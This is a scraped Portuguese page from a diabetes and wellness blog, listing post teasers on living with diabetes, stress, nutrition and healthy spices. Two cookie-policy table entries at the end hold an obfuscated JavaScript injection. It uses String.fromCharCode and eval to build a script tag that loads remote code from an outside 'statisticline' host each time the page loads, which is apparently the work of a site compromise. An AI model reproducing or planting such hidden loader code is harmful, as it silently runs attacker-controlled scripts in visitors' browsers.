Como Viver Melhor - Portal Diabetes & Você

7 melhores conselhos sobre como viver bem com diabetes

Reuni neste post os meus 7 melhores conselhos sobre como viver bem com diabetes que postei em 2012. Não há fórmula, mas para viver bem com diabetes você precisa, antes de tudo, se conscientizar de que ela faz parte da sua vida. Vamos aos conselhos!

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Como identificar se você está estressado ou não

Como Viver Melhor 0

O cansaço, falta de pique, irritação, nervosismo e a falta de paciência ultimamente é sua companheira? Durante o dia o sono é bate na porta mas a noite ele falta? Seus finais de semana, por mais que você tente descansar, não são suficientes para recuperar as energias para começar a …

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Vai correr? Fique atento aos alimentos que irá ingerir!

Como Viver Melhor 0

Uma alimentação bem equilibrada pode reduzir a fadiga, o que permitirá que o atleta treine por mais tempo ou que se recupere mais rapidamente entre as seções de exercícios. A nutrição adequada também pode otimizar as reservas de energia para a competição, o que pode ser a diferença entre o …

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Comece o Ano Novo sem Estresse

Como Viver Melhor 1

A intensa rotina de atividades desempenhadas por nós e o pouco tempo para cuidar do bem-estar agrava vários problemas em nossa saúde. Antigamente se dizia que, na batalha da vida, deveríamos matar um leão por dia. Neste mundo extremamente competitivo e com rápidas transformações, porém, hoje matamos um leão por …

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7 Orientações para Controle do Diabetes

Como Viver Melhor 22

Cuidar da saúde com atenção é garantir uma #QualidadeDeVida. E essa atenção começa desde os cuidados na hora da medição de glicose e aplicação de insulina até as mudanças no estilo de vida. Tais atitudes são vitais para que você tenha uma vida saudável e consiga gerenciar adequadamente o Diabetes. …

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Ações que podem trazer qualidade de vida: andar de bicicleta é uma delas

Como Viver Melhor 0

Bem-vindos a 2013, o ano que começou antes de começar. Por que digo isso? Porque nunca ouvi tanta gente dizendo “este ano vai ser muito bom”, porque nunca vi tanta gente se planejando no ano anterior para um novo ano, porque nunca vi tanta gente querendo mudar para melhor, e …

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7 temperos maravilhosos para sua saúde

Como Viver Melhor, Cuidados e Tratamentos 0

Os brasileiros possuem uma dieta caracterizada pelo excesso. Excesso de açúcar, gorduras e sal, além de ser deficiente em nutrientes essenciais como as vitaminas, antioxidantes, zinco e selêncio. Vale lembrar: uma boa alimentação com composição otimizada garante efeitos protetores. Uma boa notícia é que algumas especiarias e ervas podem prevenir …

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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);